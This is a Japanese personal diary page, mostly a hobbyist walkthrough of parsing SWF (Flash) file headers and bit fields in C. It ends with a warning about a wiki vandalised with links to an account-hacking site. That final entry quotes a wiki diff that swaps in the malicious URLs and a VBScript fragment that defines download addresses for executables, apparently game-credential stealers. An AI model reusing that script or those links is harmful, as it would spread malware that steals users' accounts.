These pages are written by only Japanese.

Welcom to My Diary.com
最新の日記タイトル一覧カテゴリ別タイトル一覧トップへ戻る〜

こんにちは♪ 現在は4月30日(火)17時5分。 今日も一日、お疲れさまです。


hns - 日記自動生成システム - Version 2.19.5 (色々 Fixed)

先月 2008年01月 来月
01 02 03 04 05
06 07 08 09 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Namazu for hns による簡易全文検索です。
詳細は 詳細指定/ヘルプをご参照下さい。
検索式:

2008年01月14日(月)

Flash バイナリいじり (ヘッダの読み込み)

しばらく Flash CS3 を触ってるうちに、
タイムラインとかしち面倒なの使ってられるかー。ヽ(`д´)ノ
と短気を起こし、寄り道してバイナリをいじる事にしてみた。
でも、SWF ファイルフォーマット仕様書のライセンスが怪しい。 つまり、公式のフォーマット仕様書を読むとライセンス的に穢れて SWF バイナリ変換のプログラムを作れなくなるらしい。
なので、以下のページを参考にしてみる。 フォーマットが C の構造体で書かれているので自分的に読みやすいです。

自作バイナリ閲覧ツール:

大昔作ったの引っ張り出してきた。 何故か、EBCDIC 対応w

フォーマットのお勉強:

swf のバイナリを見るとこんな感じ
  addr :  0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000: 4657 5304 900a 0000 7000 0960 0000 9600  FWS     p  `
0x00010: 0008 2800 4302 0000 0040 003f 0200 0000    ( C    @ ?
フォーマットは、
struct swf_header {
		unsigned char		f_magic[3];	'FWS' or 'CWS'
		unsigned char		f_version;
		unsigned long		f_file_length;
	}
FWS の magic 文字列がきて続く 4 は Flash のバージョン。 その次がファイルサイズで、900a 0000 => 0x00000a90 => 2704
% ls -l foo.swf
-rwxr--r-- 1 yoya yama 2704  1月  8 23:10 foo.swf
ぉぉ。合ってる。(゜∇゜)
お次は、
	struct swf_header_movie {
		swf_rect		f_frame_size;
		unsigned short fixed	f_frame_rate;
		unsigned short		f_frame_count;
	};

	struct swf_rect {
		char align;
		unsigned		f_size : 5;
		signed twips		f_x_min : f_size;
		signed twips		f_x_max : f_size;
		signed twips		f_y_min : f_size;
		signed twips		f_y_max : f_size;
	};
むー… この swf_rect は、どう解釈すればいいんだろう。

swftools を参考に:

swftools-0.8.1/lib/rfxswf.c (430)
int reader_GetRect(reader_t*reader,SRECT * r)
{ int nbits;
  SRECT dummy;
  if (!r) r = &dummy;
  nbits = (int) reader_GetBits(reader,5);
  r->xmin = reader_GetSBits(reader,nbits);
  r->xmax = reader_GetSBits(reader,nbits);
  r->ymin = reader_GetSBits(reader,nbits);
  r->ymax = reader_GetSBits(reader,nbits);
  return 0;
}
あー。なるほど。
初めの 5bit で twips フィールドの長さが分かるので、 その長さで4回取ればいいのか。
  addr :  0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000: 4657 5304 900a 0000 7000 0960 0000 9600  FWS     p  `
                             ~~ 
0x00010: 0008 2800 4302 0000 0040 003f 0200 0000    ( C    @ ?
70
0111 0
01110(= 14)bit らしい。更に分解すると、こんな感じ。
70       00       09       60
01110000 00000000 00001001 01100000 
<---><-----xmin-----><-----xmax----
align
00       00       96       00    
00000000 00000000 10010110 00000....
><----ymin-----><-----ymax----->

0008       2800 4302 0000 0040 003f 0200 0000
<-->       <-->
8.0          0x28=(40)frames
(frame/secs)
14 bit ずつ4つ取り出して、次のバイトを読むと ちゃんとそれっぽい値が対応した。 ちなみに、twips は単位で 20 twips が 1 pixel に相当するらしい。 なので、xmax, ymax は各々 0 10010110 00000 = 0x12c0 = 4800 で、20 で割ると 240 。携帯向けサイズぴったし。 ヽ(゜∇゜)ノ

FrameLabel:

お次はタグ(のはず)。43 番タグは何かというとコレ。
Name     Number  Type
FrameLabel  43  Define
Comments
Names a frame or anchor. This frame can later be referenced using this name.  

struct swf_framelabel {
	swf_tag			f_tag;		/* 43 */
	string			f_label;
	if(version >= 6) {
		/* optional field */
		unsigned short	f_flags;
	}
};
FrameLabel タグらしいけど、↓この実データと合わないんだよね‥
4302 0000 0040 003f 0200 0000
43 の後に文字列が続くらしいけど 02 ってASCII文字じゃないし。うーん… (・ω・)
もしかしたら、PASCAL 内部表現の文字列なのかな。 あれって初めの1バイトが文字列長じゃなかったっけ。

もう少し見ないと構造イメージが沸かなくて中途半端なのが残念だけど、 今日は遅いので終了。 実行結果
% ./a.out  saitama.swf
header magic=FWS
header version=4
header file_length=0xa90(=2704)
movie header alignc=14
movie header x_(min,max) =(0, 4800)
movie header y_(min,max) =(0, 4800)
movie header frame_rate =8.0
movie header frame_count =0x28(=40)
framelabel string=
Unknown SWF Tag(0x00)
ビットストリーム処理(というか、C 言語自体)久しぶりに書いたけど、 むちゃくちゃだ。リハビリしよ。^^;

実のところ:

に内包されてる library に欲しい機能が一通りありそうだけど、一応、 ファイルフォーマットの構造をバイナリレベルで把握するまで SWF の バイナリデータと睨めっこする予定。
続く

追記 (2009/12/18):

CWS, FWS で検索してココに来られた方を見つけたので、 まとめページへのリンクを追記。

awm.jp ドメインの問い合わせ - HUMEIA からの返答

ヒューメイア様から返事が来ました
AWM.JPの更新手続きのご案内は通常有効期限の2ヶ月前:
4月はじめにご連絡用メールアドレス宛にご連絡させていただきます。
毎年更新なので、自分の場合は4月から6月は毎年気が抜けないらしい。
DOMAIN21 はまとめ払いが出来たのでよかったなぁ…
… まとめて(たしか5年分)払ったその年に潰れて持ち逃げされちゃったけどね (;ω;)

愉快堂関連:

maholo

人力検索エンジンとして有名なサイトらしい。 SNS 機能もあるらしく、とりあえずアカウントだけ作ってみました *1 が、使い方がいまいちよく分かりません…
*1: 名前に釣られたとかツッコミは無しの方向で…

嫌儲とWeb性善説

この手の話は儲けるかどうかと別次元だと思っていたけど、 そう奇麗事もいってられないようで…

地上アナログ停波でデジタル放送に移行しない人は・・・

デジタル放送に移行しない人がそこそこいるとしたら、 インターネットの情報をダラダラ見続ける事に特化したサービスにとって ビジネスチャンスだったりしないかな。とふと思った。
2011 年なんてすぐ来るし、今ってダラダラ見続けるサービスってあまり見ないし。 (ニコニコとかの動画サイトも動画ごとにボタンを押さないとダメ)
Push技術を謳ったサービスの復権がありそうな予感。

その他

急速に進む米SNSの相互運用性向上:

JavaScriptの動作を軽くするための工夫:

しかし,ページのロードが終了した段階で,たくさんの処理を行ってしまうと,
「ページの読み込みが終わってからJavaScriptの処理のためにページが一瞬固まる」
という現象が発生してしまいます。
あるある…

フランス大統領、インターネットへの新たな課税を示唆:

日本で真似されたら嫌ん。

miarakure.com

アカウントハックサイトらしい。(以下の URL は間違えても踏まないでね)
- --[http://www.nicovideo.jp/ ニコニコ動画]
+ --[http://www.miarakure.com/happy/ ニコニコ動画]

- --[http://pukiwiki.sourceforge.jp/ pukiwiki-official]
+ --[http://www.miarakure.com/happy/]


履歴見たら 12/24 にやられてたのか…
まぁ、粛々と spam リストに追加しよ。

ちなみに踏むと:

<script language="VBScript">
on error resume nextburl_0="http://www.miarakure.com/wiki/lin.exe"
burl_0="http://www.miarakure.com/wiki/lin.exe"
burl_1="http://www.miarakure.com/wiki/rse.exe"
burl_2="http://www.miarakure.com/wiki/ff.exe"
lin.exe はリネージュ、ff.exe は FFXI だとして、 rse って何だろ。

これで、1 日分だよ〜。

タイトル一覧
カテゴリ分類
Database
JXTA
Java
XML
awm
bookmark
keyword
memo
news
research
Powered by hns-2.19.5, HyperNikkiSystem Project